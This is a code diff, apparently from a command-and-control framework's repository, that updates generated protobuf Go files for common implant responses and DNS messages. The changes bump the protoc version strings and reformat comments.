|
||||
// protoc v4.25.0
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
@@ -131,8 +131,9 @@ func (x *Request) GetSessionID() string {
|
||||
}
|
||||
|
||||
// Response - Common fields used in all gRPC responses. Note that the Err field
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
//
|
||||
// only used when the implant needs to return an error to the server.
|
||||
// Client<->Server comms should use normal gRPC error handling.
|
||||
type Response struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc-gen-go v1.31.0
|
||||
// protoc v4.25.0
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
@@ -87,12 +87,10 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
||||
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
|
||||
}
|
||||
|
||||
// NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
// depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
//depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//[Type TOTP]: ID field is used for the TOTP code
|
||||
//
|
||||
// [Type TOTP]: ID field is used for the TOTP code
|
||||
type DNSMessage struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
|
||||
+1189
-1128
File diff suppressed because it is too large.
Load diff
Loaded 100 of 941 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user